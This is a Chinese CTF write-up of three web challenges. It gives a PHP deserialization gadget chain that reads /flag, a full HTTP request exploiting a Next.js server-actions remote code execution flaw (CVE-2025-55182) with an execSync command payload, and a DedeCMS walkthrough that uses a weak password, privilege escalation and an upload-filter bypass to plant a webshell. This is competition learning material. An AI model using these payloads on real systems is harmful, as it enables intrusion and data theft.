CTF第三届长城杯Web部分部分部分解
LuooU一言难尽,明年再战吧,这次实战经验确实涨很多很多,也见到偏难的出的比较好的题目了。
没爆零已经很开心了: )
hellogate
题目就给了个图片,用010 Editor,可以看到文件最后面有index.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php error_reporting(0); class A { public $handle; public function triggerMethod() { echo "" . $this->handle; } } class B { public $worker; public $cmd; public function __toString() { return $this->worker->result; } } class C { public $cmd; public function __get($name) { echo file_get_contents($this->cmd); } } $raw = isset($_POST['data']) ? $_POST['data'] : ''; header('Content-Type: image/jpeg'); readfile("muzujijiji.jpg"); highlight_file(__FILE__); $obj = unserialize($_POST['data']); $obj->triggerMethod();
|
写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
class A{ public $handle; }
class B{ public $worker; }
class C{ public $cmd; }
$a = new A(); $b = new B(); $c = new C();
$a->handle=$b; $b->worker=$c; $c->cmd="php://filter/read=convert.base64-encode/resource=/flag";
echo"data=".(serialize($a)); ?>
|
cmd里面开始填的是/flag,结果啥都没出来。(又是奇奇怪怪的问题)
后面尝试了index.php,发现能在最后头输出。
然后又想到文件包含的漏洞,可以用php伪协议,把flag通过base64编码输出。
最后拿到:ZmxhZ3s4ZDZjMjg1NC1lY2VkLTRlNmUtOWJkNC0zYTkxN2E3ZDczMGV9.
然后解码:flag{8d6c2854-eced-4e6e-9bd4-3a917a7d730e}.
redjs
CVE-2025-55182,核弹复现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| POST / HTTP/2 Host: eci-2zef4g0kemup9bj9l5mi.cloudeci1.ichunqiu.com:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 747
------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0"
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1"
"$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2"
[] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
|
这个找了好久。
得到响应:
1 2 3 4 5 6 7 8 9 10 11
| HTTP/2 500 Internal Server Error Date: Sun, 28 Dec 2025 08:46:10 GMT Content-Type: text/x-component Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-Nextjs-Cache: HIT X-Nextjs-Prerender: 1
0:{"a":"$@1","f":"","b":"BAJdbgfUeWv31Rqiv3C4J"} 1:E{"digest":"flag{387d1182-7a51-4399-a531-e5778f1d4819}"}
|
dedecms
先进去注册一个号,在会员中心里可以看到自己、admin和另外一个叫Aa123456789的用户,猜测Aa123456789账密相同。

在此之前翻到很多cve,说是修改/dede/article_allowurl_edit.php,想着直接进去但是要管理员的账密,尝试Aa123456789成功。
然后到这里似乎就卡住了,无意间看到:

然后在注册会员列表里也能看到:

这里还挺逆天的,最右边的提升可以给用户提权,但是中级管理竟然能把用户提到超管,这里也是搞了两个号(实际上只需要一个)。
登录之后发现菜单丰富很多了:
看到文件式管理器,发现可以上传文件,这边准备传shell.php,被拦截了。
然后发现直接上传图片马,完全不会拦截。

再传一个文件包含的php脚本,开始写的是:
1
| <?=include("shorta.png")?>
|
被拦截,用include_once/require_once都绕过了(又是一个奇怪的逻辑)。
访问include.php,蚁剑连接就可以看到flag。
接下来要好好突突SQL注入了。
(先熬过期末周喔,一月八号就结束了!)